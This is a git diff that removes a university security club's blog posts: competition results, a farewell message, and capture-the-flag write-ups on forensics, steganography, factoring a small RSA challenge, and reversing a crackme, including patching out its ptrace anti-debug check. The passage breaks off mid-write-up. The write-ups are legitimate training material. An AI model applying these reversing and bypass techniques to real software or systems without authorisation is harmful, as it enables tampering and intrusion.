(Faculty Advisor) -- Lyell Read -- Ryan Kennedy -- Zander Work -- Hadi Rahal-Arabi -- Khoung Luu -- Zach Rogers -- Curtis Warrick -- Matt Jansen - -For more information on the competition, please see the P[RCCDC website](http://prccdc.org/). diff --git a/content/blog/prccdc-2020-results.md b/content/blog/prccdc-2020-results.md deleted file mode 100644 index acc73ce..0000000 --- a/content/blog/prccdc-2020-results.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: "PRCCDC 2020 Results" -author: "Zander Work" -date: 2020-04-14T00:00:00-07:00 -categories: ['Club News'] -tags: [] -caption: "" - -draft: false ---- - -Due to the current COVID-19 pandemic, the in-person Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) was unfortunately cancelled. However, PRCCDC, working in combination with NCCDC, allowed all of the Pacific Rim teams to compete in the National Wildcard Event, which was held online on April 11th, 2020. - -**I am pleased to announce that OSUSEC placed 2nd in the PRCCDC division (out of 12 teams), and 9th overall (out of 26 teams)!** It was a 4 hour event where teams secured 8 machines (4 Windows and 4 Linux) for a variety of security and policy issues. - -Here is the team for this event - -- Ryan Kennedy (captain) -- Zander Work -- Lyell Read -- Gabriel Kulp -- Michael Jereza -- Andrew Dassonville -- Phillip Mestas -- Stan Lyakhov - -Congrats to the team! diff --git a/content/blog/prccdc-2023.md b/content/blog/prccdc-2023.md deleted file mode 100644 index 153b7b0..0000000 --- a/content/blog/prccdc-2023.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: "PRCCDC 2023" -author: "Casey Colley" -date: 2023-03-31T00:00:00-07:00 -categories: ['Club News'] -tags: [] -caption: "Members of OSUSEC’s CDC Team" - -draft: false ---- - -This past weekend, OSUSEC’s Cyber Defense team competed in PRCCDC, our regional Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors. Students are tested not only on their cybersecurity skills, but also on their time management and interpersonal skills. OSUSEC walked away with 1st place, and will be attending NCCDC (Nationals) at the end of April! Last year was OSUSEC’s first time attending Nationals, and we are delighted to continue to represent OSU cybersecurity this year! - -Finally, we would like to thank Andrea Ballinger, head of OSU’s Information Technology department, for very generously sponsoring OSUSEC’s trip to Washington in order to compete!! We couldn’t have done it without the support! - -The team consisted of Julie Weber, Mike Carris, Matt Jansen, Evan Mrazik, Otso Barron, Ayden Murphy-Kirsch, Casey Colley, and Brandon Ellis, and was chaperoned by Emily Longman. diff --git a/content/blog/tamuctf-alcapone.md b/content/blog/tamuctf-alcapone.md deleted file mode 100644 index 72ad76f..0000000 --- a/content/blog/tamuctf-alcapone.md +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: "TAMUCTF - ALCAPONE" -author: "Lyell Read" -date: 2020-03-29T00:00:00-07:00 -categories: ['Writeups'] -tags: ['tamuctf'] -caption: "TAMUCTF Logo" - -draft: false ---- - -## Prompt - -Eliot Ness is the lead on taking down Al Capone. He has gained access to Capone’s personal computer but being the good detective he is, he got the disk image of the computer rather than look through the actual computer. Can you help Ness out and find any information to take down the mob boss? - -(hint: Al Capone knew his computer was going to be taken soon, so he deleted all important data to ensure no one could see it. Little did he know that Ness was smarter than him.) - -Direct Download link: [https://tamuctf.com/themes/core/static/img/WindowsXP.img.xz](https://tamuctf.com/themes/core/static/img/WindowsXP.img.xz) - -## Unintended Solution - -Um… `strings`? - -``` -strings WindowsXP.img | grep 'gigem{' -oigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserg -oigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserg -oigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserg -gigem{Ch4Nn3l_1nN3r_3Li0t_N3$$} -``` - -## More Intended Solution - -I installed [Autopsy](https://www.autopsy.com/), and opened the image file. Given the hint about the files having be deleted, we can look through the recycling bin and extract all the `flag??.txt` files (and those from the Administrator’s Desktop) to [flags.zip](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/alcapone/flags.zip). Then: - -``` -unzip flags.txt -cd flags -for x in ./*; do strings $x | grep 'gigem{'; done -oigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserg -oigigem{Ch4Nn3l_1Nn3R_3l10t_N3$$}khsutrghsiserg -``` - -``` -gigem{Ch4Nn3l_1Nn3R_3l10t_N3$$} -``` - -~Lyell Read diff --git a/content/blog/tamuctf-geography.md b/content/blog/tamuctf-geography.md deleted file mode 100644 index 7b23344..0000000 --- a/content/blog/tamuctf-geography.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: "TAMUCTF - GEOGRAPHY" -author: "Lyell Read" -date: 2020-03-29T00:00:00-07:00 -categories: ['Writeups'] -tags: ['tamuctf'] -caption: "TAMUCTF logo" - -draft: false ---- - -## Prompt - -My friend told me that she found something cool on the Internet, but all she sent me was 11000010100011000111111111101110 and 11000001100101000011101111011111. - -She’s always been a bit cryptic. She told me to “surround with gigem{} that which can be seen from a bird’s eye view”… what? - -## Solution - -Ok. We know that we need to somehow interpret those binary strings as coordinate(s) to get a location that we can look at from “bird’s eye view” (presumably on Google Maps). - -I went through many trials of this, from converting the bits to { string, hex, decimal, octal } and using those as coordinates, and calculating geohashes { [http://geohash.co/](http://geohash.co/), [https://www.dcode.fr/geohash-coordinates](https://www.dcode.fr/geohash-coordinates) } to get locations out of these things, all to end up with locations in the Pacific or in Russia or Antarctica, with nothing at all there. Coincidentally, I was sure that each set of bits corresponded to a *pair* of coordinates (latitude and longitude), so I would get a line that I needed to read along (or something) between those points, from a “bird’s eye view”. - -OK, those were wrong, so back to basics. I googled “binary string length 32 coordinates geographical”, leading me to [this article](https://www.thethingsnetwork.org/forum/t/best-practices-when-sending-gps-location-data-howto/1242). In it, user arjanvanb describes: - -> In decimal degrees, a longitude with 4 decimals, -180.0000…+180.0000 might need 9 bytes when sending as plain characters (or 8 when leaving out the decimal dot), and probably another byte for some separator. But it also nicely fits in 3 bytes (like -8,388,608 to 8,388,607 as a 24 bit signed integer if you first multiply by 10,000). When one needs more decimals, using 4 bytes for a standard 32 bit float [59], or multiplying by 100,000 and sending as a standard 32 bit signed long [41], will give more than 7 decimals. - -Thank you, Arjan! From that, I tried converting these 32-bit binary strings into floats using IEEE 754 Converter and I got: - -``` -11000010100011000111111111101110 : -70.24986 -11000001100101000011101111011111 : -18.529234 -``` - -When ordered (-70.24986, -18.529234), we get [this spot](https://earth.google.com/web/@-70.24986,-18.529234,72.67408088a,328.68889373d,35y,0h,45t,0r/data=CjkaNxIxCgAZByXMtP2PUcAhZ-4h4XuHMsAqGzcwwrAxNCc1OS41IlMgMTjCsDMxJzQ1LjIiVxgCIAEoAg), in the middle of the ocean, above Antarcitca… Nothing doing. - -However, when ordered the other way, (-18.529234, -70.24986), we come across [this spot](https://earth.google.com/web/@-18.52933711,-70.24988924,174.8925544a,155.32728959d,35y,23.907023h,18.45174211t,360r), at 18°31’45.2″S, 70°14’59.5″W. - -![Screenshot of Google Earth featuring the Coca-Cola logo](/blog/tamuctf-geography-google-earth.png) - -Thanks to the TAMUCTF organizers for being reasonable and providing the flag once I proved I got the right location, as I would have had to try a bunch of possibilities: - -``` -gigem{CocaCola125anos} -gigem{cocacola125anos} -gigem{coca-cola-125-anos} -gigem{Coca-Cola-125-anos} -... -``` - -To get the flag: - -``` -gigem{coca-cola} -``` - -~Lyell Read \ No newline at end of file diff --git a/content/blog/tamuctf-rsapwn.md b/content/blog/tamuctf-rsapwn.md deleted file mode 100644 index bf4025a..0000000 --- a/content/blog/tamuctf-rsapwn.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: "TAMUCTF RSAPWN" -author: "Lyell Read" -date: 2020-03-29T00:00:00-07:00 -categories: ['Writeups'] -tags: ['tamuctf'] -caption: "TAMUCTF logo" - -draft: false ---- - -## Prompt - -We must train the next generation of hackers. - -`nc challenges.tamuctf.com 8573` - -## Solution - -It looks like this just asks us to find the two “big prime” factors of the number provided, and return them. [Athos’ script](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/rsapwn/exploit.py) does exactly that: - -``` -python3 ./exploit.py -[+] Opening connection to challenges.tamuctf.com on port 8573: Done -b'We must train future hackers to break RSA quickly. Here is how this will work.\nI will multiply together two big primes (<= 10000000), give you the result,\nand you must reply to me in less than two seconds telling me what primes I\nmultiplied.\n\nPress enter when you are ready.\n' -num b'99981300873901' -9999083 9999047 -b'Good job :)' -b'gigem{g00d_job_yOu_h4aaxx0rrR}' -b'' -``` - -Nice! - -``` -gigem{g00d_job_yOu_h4aaxx0rrR} -``` - -~Athos, Lyell Read diff --git a/content/blog/tamuctf-russian_nesting_dolls.md b/content/blog/tamuctf-russian_nesting_dolls.md deleted file mode 100644 index db91e54..0000000 --- a/content/blog/tamuctf-russian_nesting_dolls.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: "TAMUCTF - RUSSIAN_NESTING_DOLLS" -author: "Lyell Read" -date: 2020-03-29T00:00:00-07:00 -categories: ['Writeups'] -tags: ['tamuctf'] -caption: "TAMUCTF logo" - -draft: false ---- - -## Prompt - -Our monitoring systems noticed some funny-looking DNS traffic on one of our computers. We have the network logs from around the time of the incident. Want to take a look? - -Files: [netlogs.pcap](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/russian-nesting-dolls/netlogs.pcap) - -## Solution - -Opening the PCAP up in `wireshark` shows that there are quite a few (37991) `DNS` packets, as well as a smattring of others (`Statistics > Protocol Hierarchy`). Let’s look at the remaining packets first, as there are only a few of them: - -- There’s 1 `mDNS` packet, which appears to have no consequence. -- There are 8 `DHCP` packets that also appear inconsequential -- There are quite a few `FTP` packets, from which we can glean a username and password `goodag` and `howdy` respectively. -- There are 3 `FTP-DATA` packets, which include a PGP Public and Private keys, as well as a directory listing (see below). - -[PGP Public Key](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/russian-nesting-dolls/public-key) [PGP Private Key](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/russian-nesting-dolls/private-key) Directory Listing: - -``` -drwxr-xr-x 2 1000 1000 4096 Nov 26 21:37 Desktop -drwxr-xr-x 2 1000 1000 4096 Nov 26 21:37 Documents -drwxr-xr-x 2 1000 1000 4096 Nov 26 21:37 Downloads -drwxr-xr-x 2 1000 1000 4096 Nov 26 21:37 Music -drwxr-xr-x 2 1000 1000 4096 Nov 26 21:37 Pictures -drwxr-xr-x 2 1000 1000 4096 Nov 26 21:37 Public -drwxr-xr-x 2 1000 1000 4096 Nov 26 21:37 Templates -drwxr-xr-x 2 1000 1000 4096 Nov 26 21:37 Videos --rw-r--r-- 1 1000 1000 8980 Nov 24 21:15 examples.desktop --rw------- 1 1000 1000 3589 Nov 27 03:20 priv --rw------- 1 1000 1000 1698 Nov 27 03:20 pub -``` - -This directory listing does not look to have much interesting to it, but the PGP keys do. - -Now we turned our attention to the 37991 `DNS` packets. These each contain a query to a site in the format `x6U3gvbExVWkk4U1gzWVU2L2FnRVNYMW5ZTHRjZ0d5b1NiNENYNlFOTVE-tamu1e100net`, where the prefix (`x6U3gvbExVWkk4U1gzWVU2L2FnRVNYMW5ZTHRjZ0d5b1NiNENYNlFOTVE`) looks to be base64 data, and these packets are all in a sequence. - -Let’s look at the first packet: it contains base64 data `LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IEdudVBHI` that decodes to - -``` ------BEGIN PGP MESSAGE----- -Version: GnuPG -``` - -[This script](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/russian-nesting-dolls/get_pgp_from_dns_b64.py) extracts all that data (and ignores repeated packets and mDNS packet) and contactenates it into [message.pgp](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/russian-nesting-dolls/message.pgp). - -Then, we need to remove the second layer of nested doll, and extract the message: - -``` -$ gpg --import public-key -gpg: key 18ABAFED3849EB2E: "Ol' Rock " not changed -gpg: Total number processed: 1 -gpg: unchanged: 1 - -$ gpg --import private-key -gpg: key 18ABAFED3849EB2E: "Ol' Rock " not changed -gpg: key 18ABAFED3849EB2E: secret key imported -gpg: Total number processed: 1 -gpg: unchanged: 1 -gpg: secret keys read: 1 -gpg: secret keys unchanged: 1 - -$ gpg --output out --decrypt message.pgp -gpg: encrypted with 2048-bit RSA key, ID C5372B2EB5E56F58, created 2019-11-27 - "Ol' Rock " -``` - -To decrypt, the password `howdy` is used when prompted. We get [out](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/russian-nesting-dolls/out), which `file` tells us is a `gzip` archive. - -``` -cp out out.gz -gunzip -c out.gz > ./out-2 -``` - -This creates [out-2](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/russian-nesting-dolls/out-2), which again is passed to `file` which tells us it is a `tar` archive. - -``` -cp out-2 out-2.tar -tar -xvf out-2.tar -``` - -This extraction creates a bunch of weird files: - -``` -./..........encoded -./...encoded -./....encoded -./.....encoded -./.......encoded -./......encoded -./...........encoded -./........encoded -./............encoded -./.........encoded -``` - -Funky! Let’s see what these are. They are each about 156K large (they seem to have 157696 characers each), and all contain data that looks like more base64 data. To make sense of these, we put them into [CyberChef](https://gchq.github.io/CyberChef/), and looked for any indication of what these were. Of all of them, we identified that [……..encoded](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/russian-nesting-dolls/........encoded) starts with [jpeg magic bytes](https://www.ntfs.com/jpeg-signature-format.htm). [Cyber Chef Link](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)To_Hexdump(16,false,false)&input=YWFhYS85ai80QUFRU2taSlJnQUJBZ0FBWkFCa0FBRC83QUFSUkhWamEza0FBUUFFQUFBQVBBQUEvKzRBSmtGa2IySmxBR1RBQUFBQUFRTUEKRlFRREJnb05BQUE3TUFBQVJJb0FBSHY0QUFEbG52L2JBSVFBQmdRRUJBVUVCZ1VGQmdrR0JRWUpDd2dHQmdnTERBb0tDd29LREJBTQpEQXdNREF3UURBNFBFQThPREJNVEZCUVRFeHdiR3hzY0h4OGZIeDhmSHg4Zkh3RUhCd2NOREEwWUVCQVlHaFVSRlJvZkh4OGZIeDhmCkh4OGZIeDhmSHg4Zkh4OGZIeDhmSHg4Zkh4OGZIeDhmSHg4Zkh4OGZIeDhmSHg4Zkh4OGZIeDhmLzhJQUVRZ0Nsd09OQXdFUkFBSVIKQVFNUkFmL0VBTlVBQVFFQkFRRUJBUUVBQUFBQUFBQUFBQUFCQXdJRUJRWUhBUUVCQVFFQkFRRUFBQUFBQUFBQUFBQUFBUUlEQkFVRwpFQUFCQXdJRkJBTUJBQU1BQXdFQkFBQUJBQkVDRUFNZ01FQWhFbEJnTVFSQkloTXlJeFFGY0RNa1FoVVJBQUVDQXdVRkJnVUNCUVFECkFBQUFBQUVBRVNFeEFoQWdRVkVTUUdGeElnTXdVR0NCa1RLeHdVSlNFNkhSY09GaWdpT0Fjak5Ua3VJa0VnRUFBQUFBQUFBQUFBQUEKQUFBQUFBRFFFd0VBQWdFREF3UUJBd1VCQVFBQUFBQUJBQkVoRURGQklGRmhNRUJ4Z1pHaHNjRlFZUERSNGZGdy85b0FEQU1CQUFJUgpBeEVBQUFINFA2TDg2cEVxd0ZJQVVCUWdGQUFRdFFBQ2doU0FvUUZBUXFBaWdVZ0tnc0VMSTgvRDBaZWYwZFIzR2g2ODNVOG01ejI0CmRlcnpCU0FBc0JSQlFMQUFVZ0FLaUFBQUFxS0lBQUFvZ0lvRlFJVWdBVUNnUUNnQUpRQUNoQlJBVkJGRklFdGdBS1FFQ2lvQkpRRVkKOGUySG05SFMyTjQwVGZPclo1TjU3OXZqdThGRUFLQUVCUUFCQ2dBRUFvQUFBQXNBQUlVRWdvZ3BDa1VVQUNBVUFBQUFxQ2dBQkFDawpvSW9JVUNvSUJGQXFTZ0VvQkpjODc4WGo5blV2Y21zZExzbm96ZlB1YzkrRjlQblVBQVFBb0pTQlFFS0lsVkFBQUJRUUFGQ0toU0JLCkxBUUhTSVVFQlZoU0FvQUVMVUFGSVVBQUZTQUZFQ2tBQUFBQUFBQUlKWkhpOGZ1bWRkeDBuUnBHMGVxWHc5Y1BiNUdvQUJVQUFBQUE). We convert this to a jpeg using an [online tool](https://onlinejpgtools.com/convert-base64-to-jpg), and get [8dot_out.jpg](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/russian-nesting-dolls/8dot_out.jpg): - -![Photo of a shark](/blog/tamuctf-russian_nesting_dolls-shark.jpg) - -That may look like a shark, but it’s actually a nesting doll (what do you know!). I use [stegsolve](https://github.com/zardus/ctf-tools/tree/master/stegsolve) to examine the image. In stegsolve, under `Analyze > File Format` (which you know has something interesting when stegsolve hangs for a second when opening), we can see that, indeed, there’s quite a bit here: - -``` -End of Image -Additional bytes at end of file = 57524 -Dump of additional bytes: Hex: -89504e470d0a1a0a -``` - -`89 50 4e` … That looks like PNG [Magic Bytes](https://asecuritysite.com/forensics/magic) :). We need to chop the PNG off the end of this JPG, we do that using [extract_png.py](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/russian-nesting-dolls/extract_png.py), and we get [out.png](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/russian-nesting-dolls/out.png). - -![MS Paint drawing with the flag written out](/blog/tamuctf-russian_nesting_dolls-flag.png) - -``` -gigem{dont_you_just_love_a_good_pcap?} -``` - -~CaptainGeech, Lyell Read \ No newline at end of file diff --git a/content/blog/tamuctf-woof_woof.md b/content/blog/tamuctf-woof_woof.md deleted file mode 100644 index d569e89..0000000 --- a/content/blog/tamuctf-woof_woof.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: "TAMUCTF - WOOF_WOOF" -author: "Lyell Read" -date: 2020-03-29T00:00:00-07:00 -categories: ['Writeups'] -tags: ['tamuctf'] -caption: "TAMUCTF logo" - -draft: false ---- - -## Prompt - -(I did not get the prompt text in time, and admin closed access to the challs when the CTF ended :() - -The instructions mentioned charset A-Z and ‘-‘ and ‘@’, with flag format `GIGEM-...`. - -[reveille.png](https://github.com/lyellread/ctf-writeups/blob/master/2020-tamuctf/woof-woof/reveille.png) - -## Solution - -After running strings on the image to no result, we open this image up in [stegsolve](https://github.com/zardus/ctf-tools/tree/master/stegsolve), and examine the file format `Analyze > File Format`. We see the usual stuff, except for: - -``` -Comment data Length: 1aa (426) Dump of data: Hex: 01aa776f6f662077 6f6f66206261726b 2072756666206261 726b206261726b20 7275666620776f6f 6620776f6f662062 61726b2072756666 206261726b207275 666620776f6f6620 776f6f6620727566 6620776f6f662062 61726b206261726b 206261726b206261 726b20776f6f6620 7275666620776f6f 66206261726b2062 61726b2072756666 20776f6f6620776f 6f6620776f6f6620 776f6f6620776f6f 6620727566662077 6f6f6620776f6f66 206261726b207275 666620776f6f6620 7275666620626172 6b20776f6f662077 6f6f66206261726b 20776f6f66206261 726b207275666620 6261726b20626172 6b206261726b2072 75666620776f6f66 2072756666206261 726b20776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b20776f 6f66206261726b20 7275666620626172 6b20776f6f662077 6f6f6620776f6f66 207275666620776f 6f6620776f6f6620 776f6f6620776f6f 6620776f6f662072 75666620776f6f66 206261726b206261 726b206261726b20 7275666620776f6f 66206261726b2062 61726b206261726b 206261726b20776f 6f66 Ascii: ..woof w oof bark ruff ba rk bark ruff woo f woof b ark ruff bark ru ff woof woof ruf f woof b ark bark bark ba rk woof ruff woo f bark b ark ruff woof wo of woof woof woo f ruff w oof woof bark ru ff woof ruff bar k woof w oof bark woof ba rk ruff bark bar k bark r uff woof ruff ba rk woof woof woo f woof r uff woof bark wo of bark ruff bar k woof w oof woof ruff wo of woof woof woo f woof r uff woof bark ba rk bark ruff woo f bark b ark bark bark wo of -``` - -Interesting. Let’s clean that up in a text editor… - -``` -woof woof bark ruff bark bark ruff woof woof bark ruff bark ruff woof woof ruff woof bark bark bark bark woof ruff woof bark bark ruff woof woof woof woof woof ruff woof woof bark ruff woof ruff bark woof woof bark woof bark ruff bark bark bark ruff woof ruff bark woof woof woof woof ruff woof bark woof bark ruff bark woof woof woof ruff woof woof woof woof woof ruff woof bark bark bark ruff woof bark bark bark bark woof -``` - -I’ve been waiting for a challenge in morse for a long time, so I immediately tested it for morse code. To be a candidate, it must have 3 different ‘things’ and one of those as a delineator, which can only occur once at a time. - -The first character of our flags is `G`, and morse `G` is `--.`. Great! We now know that `woof` = `-`, `bark` = `.`, `ruff` = delineator. Let’s convert that out: - -``` ---. .. --. . -- -....- -.. ----- --. - .--.-. ... - .---- -.-. .--- ----- -... -....- -``` - -Next, we use an [online tool](http://www.unit-conversion.info/texttools/morse-code/) to convert that morse to the following text: - -``` -gigem?d0gt?st1cj0b? -``` - -We know that the first `?` must be a `-` because of the flag fomat given, and the last `?` is the same morse character, so that one is too. The middle `?` is a different morse code, though, so it must be the last letter of our charset, `@`. - -``` -GIGEM-D0GT@ST1CJ0B- -``` - -~Lyell Read diff --git a/content/blog/thank-you.md b/content/blog/thank-you.md deleted file mode 100644 index 69937ac..0000000 --- a/content/blog/thank-you.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "Thank You" -author: "Zander Work" -date: 2020-06-05T00:00:00-07:00 -categories: ['Club News'] -tags: [] -caption: "" - -draft: false ---- - -Being your club president for the last 3 years has been an incredible experience. Back in Fall 2017 when I first came to OSU, the club had maybe 20-30 members and wasn’t involved in CTF or CDC at all. Now, we’ve reached nearly 300 members, play CTF nearly every weekend, and have many 1st place and top 3 finishes in CDC, not to mention our incredible 1st and 3rd place finishes in the NSA Codebreaker Challenge. I never could have dreamed what this club has become when I was a freshman, and it’s largely due to the incredible support of Dr. Yeongjin Jang and the CDC team in April 2018 that helped land us on the map at OSU and laid the groundwork for us to build a large security culture, especially at the undergraduate level. We’ve come a long ways, and have even hosted our own CTF event (P.S. stay tuned for more info on the next DamCTF). Our numerous accomplishments ([https://www.osusec.org/accomplishments/](https://www.osusec.org/accomplishments/)) impress me everyday and I am incredibly excited to see what happens next year. - -Since I’m not graduating this year, I will still be helping to run the CTF and CDC teams (and contributing to DamCTF) but it will be a year of transition, to bring our newer members up into more leadership roles and help establish a solid group for CDC and CTF for once I’ve left. This year we’ve had a lot of new members get involved in CTF and CDC and I have no doubt this will be an easy transition. - -Hadi and Lyell (along with Ryan, Mike, Sierra, and Alex) will do amazing things for the club next year, and I’m looking forward to seeing it. - -Happy hacking everyone. diff --git a/content/blog/utctf-2019-crackme.md b/content/blog/utctf-2019-crackme.md deleted file mode 100644 index bf45e97..0000000 --- a/content/blog/utctf-2019-crackme.md +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: "UTCTF 2019 - Crackme" -author: "Zander Work" -date: 2019-03-11T00:00:00-07:00 -categories: ['Writeups'] -tags: [] -caption: "" - -draft: false ---- - -This was a 1200 point reversing challenge (tied for highest point value in the category). Here’s the description: - -![Screenshot of UTCTF's CTFd for the Crackme challenge](/blog/utctf-2019-crackme-ctfd.png) - -This what we see when we run the binary: - -``` -$ ./crackme -Please enter the correct password. ->pls -Incorrect password. utflag{wrong_password_btw_this_is_not_the_flag_and_if_you_submit_this_i_will_judge_you} -``` - -Let’s take a look at the code in IDA Pro: - -![Screenshot of main decompliation in IDA Pro](/blog/utctf-2019-crackme-decompilation.png) - -Here’s what the decompilation shows: - -- Read in 64 bytes from stdin -- Call divide(32, 0), and save the return value to v4 -- xor our input at index v4 with 8 -- Replace a few characters of our input with ‘D’ -- xor each character in our input with 0x27 - -Now we see “stuff\[j] = stuff2\[202 – j] ^ (stuff\[j] – 1);”. stuff and stuff2 live in the .data section (along with test). The loop applies that operation to each of the first 202 bytes of stuff (there are some null bytes afterwards for padding), and then calls it. This is quite cool, and not something I have seen in a reversing challenge before. The binary is modifying it’s own data to create a new function, and then execute it to add additional layers of obfuscation. - -Before I start working through that obfuscated function, I took a look at divide(): - -![Screenshot of IDA Pro decompilation of the divide function](/blog/utctf-2019-crackme-fastcall_divide.png) - -Based on the function call “divide(32, 0)”, it does indeed do a divide by zero, which throws an exception, further messing with our debugging and analysis. I ended up just skipping it and not worrying about it, which worked out in the end. - -In order to analyze that obfuscated function in .data, I needed to do a few things: - - Extract stuff and stuff2 from the binary - Write a program to apply the deobfuscation to stuff - Disassemble/decompile the resulting function for analysis - -I used gdb to get extract the two variables. Here’s what that looks like for stuff: - -``` -$ gdb crackme -Reading symbols from crackme…(no debugging symbols found)…done. -gdb-peda$ x/52x &stuff -0x602090 : 0xed592513 0x908d3643 0x6bd01bc6 0xc3112c86 -0x6020a0 : 0xb55cd9d3 0x92a40224 0x4566fb3a 0x74a5731d -0x6020b0 : 0xccea82e8 0xd125398a 0x2a5105e7 0x67b7a235 -0x6020c0 : 0x99a1886b 0xf224a523 0x06eb4f61 0x816685bd -0x6020d0 : 0xd979c55b 0x841c39e4 0xb7c6288c 0xc599716e -0x6020e0 : 0xc550b65d 0xed393d86 0xc417dd7a 0x96681e07 -0x6020f0 : 0x1ae03766 0x52637a30 0x05718f9f 0x8c4c3973 -0x602100 : 0xcc581405 0xa2db617f 0x9993db2b 0xc7ebb606 -0x602110 : 0x182b63b3 0xaa4e0a50 0x8192d259 0x7ae97ae7 -0x602120 : 0xe479bea9 0x53e79c45 0x9c26894b 0x9ea75bf8 -0x602130 : 0xadf5e45d 0x41aede98 0xd230dd97 0xfb81fd17 -0x602140 : 0x4ac0d10a 0x735f3ee8 0xfcc0a13c 0x839c7ffd -0x602150 : 0xff03fb9b 0x4be73391 0x00c93d31 0x00000000 -gdb-peda$ dump memory stuff.bin 0x602090 (0x602090 + 204) -``` - -This writes 204 bytes after 0x602090 to stuff.bin. I did the same thing for stuff2, and then wrote a C program to apply the xor operation and dump it back to disk. You can see the program [here](https://github.com/zzzanderw/ctf-writeups/blob/master/utctf2019/crackme/convert.c). - -With that in hand, we were able to pull out a function that I wanted to decompile. While I would not recommend doing it this way, I wrote a Python program (which you can see [here](https://github.com/zzzanderw/ctf-writeups/blob/master/utctf2019/crackme/replace.py)) that replaced the main() function of the original binary with the new function and dumped it to a new binary so I could load it into IDA: - -![Screenshot of new main injected into the program and decompiled by IDA Pro](/blog/utctf-2019-crackme-newmain.png) - -While IDA didn’t do a great job parsing the function since it thought it was main, it showed us the logic. The function applies an xor to each byte with the loop counter plus 51, simple enough. - -At this point, I had enough information to write another Python script (which you can see here) to build the password based on the test value it gets compared against. I extracted test using the same method I showed above for stuff, and did the following things: - -- Read in the test data -- Undo the deobfuscated stuff function -- Undo the 0x27 xor - -That script provided this output: - -``` -$ ./solve.py -'1_hav3_1nf0rmat10n_that_w1ll_lead_t0_th3_arr3st\x1b0f_cspp3rstick6U' -``` - -There are some bad characters in here, which is due to some extra xors I didn’t want to mess with, so I just guessed and got lucky on what the password was supposed to be: - -``` -$ ./crackme -Please enter the correct password. ->1_hav3_1nf0rmat10n_that_w1ll_lead_t0_th3_arr3st_0f_c0pp3rstick6 -Correct Password! -``` - -The flag is **utflag{1_hav3_1nf0rmat10n_that_w1ll_lead_t0_th3_arr3st_0f_c0pp3rstick6}**. - -*Some extra info:* - -If you wanted to analyze this dynamically, you would have had some trouble: - -``` -$ gdb crackme -Reading symbols from crackme…(no debugging symbols found)…done. -gdb-peda$ b *main -Breakpoint 1 at 0x400af0 -gdb-peda$ r -Starting program: /mnt/hgfs/sec/utctf19/crackme/crackme -[Thread debugging using libthread_db enabled] -Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". -[Inferior 1 (process 5869) exited with code 01] -Warning: not running or target is remote -gdb-peda$ -``` - -Why doesn’t our breakpoint get hit? - -This is due to a sneaky move by the challenge author by putting a ptrace() call in a function called _csu_init(), which causes debugging to be unsuccessful. If there is more than one trace applied to the program, it exits: - -![Screenshot of IDA Pro decompilation of the function that calls ptrace](/blog/utctf-2019-crackme-ptrace.png) - -You can patch out the ptrace call with nops, which would allow you to dynamically analyze this. I patched the binary while I was working on the challenge, but ended up just doing it statically. diff --git a/content/blog/utctf-2019-rogue-leader.md b/content/blog/utctf-2019-rogue-leader.md deleted file mode 100644 index 30d5a31..0000000 --- a/content/blog/utctf-2019-rogue-leader.md +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: "UTCTF 2019 - Rogue Leader" -author: "Andrew Quach" -date: 2019-03-10T00:00:00-07:00 -categories: ['Writeups'] -tags: [] -caption: "" - -draft: false ---- - -### Problem Description - -Our once-venerable president has committed the unspeakable crime of dine-and-dashing the pizza during our own club meetings. He’s on the run as we speak, but we’re not sure where he’s headed. - -Luckily, he forgot that we had planted a packet sniffer on his laptop, and we were able to retrieve the following capture when we raided his apartment: [\[pcap\].](https://storage.googleapis.com/utctf/capture.pcapng) - -He’s too smart to email his plans to himself, but I’m certain he took them with him somehow. Can you help us figure out which country he’s fleeing to? - -### Reconnaissance - -Loading the file in Wireshark, we can clearly see that it is a USB packet capture. First thing is first, let’s figure out which devices were connected to the machine. - -![Screenshot of Wireshark listing USB traffic](/blog/utctf-2019-rogue-leader-wireshark.png) - -![Screenshot of Wireshark identifying a device as a flash drive](/blog/utctf-2019-rogue-leader-flashdrive.png) - -So, device 2 (with bus id 1) is a flash drive. Other notable devices include a gaming mouse (device 9, bus id 2), a keyboard (device 5, bus id 2), and a tablet (device 4, bus id 2). - -### Dumping the Flash Drive - -Let’s try to find any files that have been transferred in/out of the flash drive. These packets will be rather large and have the URB_BULK in/out flags set. Filtering just by size nets us one of these packets. - -![Screenshot of Wireshark entry with URB_BULK out flag set](/blog/utctf-2019-rogue-leader-urb-bulk.png) - -We can dump this data (File > Export packet bytes). This file turns out to be GPG encrypted data. - -``` -$ file raw.out -raw.out: GPG symmetrically encrypted data (AES256 cipher) -``` - -Now that 